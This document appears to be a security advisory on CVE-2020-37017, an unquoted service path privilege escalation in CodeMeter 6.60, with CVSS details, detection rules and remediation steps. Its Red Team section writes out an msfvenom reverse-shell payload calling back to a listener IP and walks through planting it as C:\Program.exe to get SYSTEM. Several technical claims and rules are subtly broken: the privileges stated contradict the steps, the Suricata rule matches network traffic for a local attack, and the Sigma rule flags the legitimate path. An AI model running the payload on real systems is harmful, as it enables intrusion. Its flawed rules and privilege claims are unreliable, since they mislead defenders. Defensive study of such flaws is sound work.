CVE-2020-37017

Executive Summary

CVE-2020-37017 is a local privilege escalation vulnerability in CodeMeter version 6.60, stemming from an unquoted service path in the CodeMeter Runtime Server service. This flaw allows a local attacker with standard user privileges to inject a malicious executable into the service’s binary path, which will then be executed with LocalSystem privileges upon service startup. The vulnerability is classified under CWE-428 (Unquoted Search Path or Element) and is mapped to MITRE ATT&CK technique T1574 (Hijack Execution Flow). No public exploit code or Nuclei template is available, but the attack vector is well-documented and straightforward to implement.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a standalone Windows application (CodeMeter Runtime Server) and does not involve package manager ecosystems.

CVSS Breakdown & Threat Level

• CVSS Score: 7.8 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Local (AV:L) – requires local access to the system.
• Attack Complexity: Low (AC:L) – no special conditions needed.
• Privileges Required: Low (PR:L) – attacker needs standard user privileges.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – the vulnerable component and the impacted component are the same.
• Confidentiality, Integrity, Availability Impact: High (C:H/I:H/A:H) – full system compromise.

Deep Dive & Mechanics

The vulnerability exists because the CodeMeter Runtime Server service is configured with an unquoted service path. When Windows attempts to start a service, it parses the binary path. If the path contains spaces and is not enclosed in quotes, Windows will interpret each space-separated segment as a potential executable location. For example, if the service path is C:\Program Files\CodeMeter\Runtime\bin\CodeMeter.exe, Windows will first try to execute C:\Program.exe, then C:\Program Files\CodeMeter\Runtime\bin\CodeMeter.exe. An attacker can place a malicious executable named Program.exe in C:\ (or any writable location along the path) to hijack execution.

The attack flow:

1. Identify the unquoted service path (e.g., via sc qc CodeMeter).
2. Create a malicious executable (e.g., a reverse shell) named to match the first segment of the path (e.g., Program.exe).
3. Place it in the root directory (e.g., C:\Program.exe).
4. Restart the service (requires admin privileges) or wait for a system reboot.
5. The service starts, executes C:\Program.exe with LocalSystem privileges.

Vulnerable vs. Patched Code

Vulnerable Configuration (CodeMeter 6.60): The service binary path is stored without quotes:

C:\Program Files\CodeMeter\Runtime\bin\CodeMeter.exe

Patched Configuration (Hypothetical): A patched version would quote the path:

"C:\Program Files\CodeMeter\Runtime\bin\CodeMeter.exe"

No official patch is available as of this report. The vendor has not released a fix.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Local access to a Windows system with CodeMeter 6.60 installed.
• Standard user privileges.

Steps:

1. Identify the vulnerable service:

   sc qc CodeMeter
   

   Look for BINARY_PATH_NAME without quotes.

2. Create a malicious executable (e.g., using msfvenom):

   msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o Program.exe
   

3. Place the executable in the root directory:

   copy Program.exe C:\Program.exe
   

4. Trigger service restart (requires admin privileges; alternatively, wait for reboot):

   sc stop CodeMeter
   sc start CodeMeter
   

5. Receive reverse shell as SYSTEM.

Note: If the attacker cannot restart the service, they can wait for a system reboot or use other methods to trigger service start.

Blue Team (Detection & Response)

Detection:

• Monitor for creation of executables in root directories (e.g., C:\Program.exe, C:\Program Files.exe).
• Monitor service binary path changes via Windows Event Log (Event ID 7045 for service creation, 7036 for service state changes).
• Use Sysmon to detect process creation from unusual paths.

Response:

• Immediately isolate the affected system.
• Check for unauthorized executables in C:\ and other writable directories.
• Review service configurations for unquoted paths.
• Apply the workaround (see Remediation & Mitigation).

Indicators of Compromise (IOCs)

• File: C:\Program.exe or similar executables in root directories.
• Process: Program.exe running with SYSTEM privileges.
• Service: CodeMeter Runtime Server with unquoted binary path.
• Event Logs: Event ID 7045 (service creation) with suspicious binary path; Event ID 7036 (service state change) for CodeMeter.

Detection Engineering

YARA Rule

rule UnquotedServicePath_CVE_2020_37017 {
    meta:
        description = "Detects unquoted service path for CodeMeter Runtime Server"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2020-37017"
    strings:
        $path = "CodeMeter Runtime Server"
        $unquoted = /C:\\Program Files\\CodeMeter\\Runtime\\bin\\CodeMeter\.exe/
    condition:
        $path and $unquoted
}

Sigma Rule

title: Unquoted Service Path in CodeMeter Runtime Server
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects unquoted service path for CodeMeter Runtime Server (CVE-2020-37017)
author: Valters IT
date: 2025-04-10
logsource:
    product: windows
    service: system
detection:
    selection:
        EventID: 7045
        ServiceName: 'CodeMeter'
        ImagePath|contains: 'C:\Program Files\CodeMeter\Runtime\bin\CodeMeter.exe'
    condition: selection
falsepositives:
    - None expected
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2020-37017 - Unquoted Service Path Exploit"; flow:to_server; content:"Program.exe"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Workaround:

1. Manually quote the service binary path:

   sc config CodeMeter binPath="\"C:\Program Files\CodeMeter\Runtime\bin\CodeMeter.exe\""
   

2. Restart the service:

   sc stop CodeMeter
   sc start CodeMeter
   

Long-term Fix:

• Upgrade to a patched version of CodeMeter (if available).
• Ensure all service paths are quoted in the registry (HKLM\SYSTEM\CurrentControlSet\Services\CodeMeter).

General Best Practices:

• Regularly audit service configurations for unquoted paths.
• Restrict write permissions to root directories for standard users.
• Use application whitelisting to prevent unauthorized executables.

Valters IT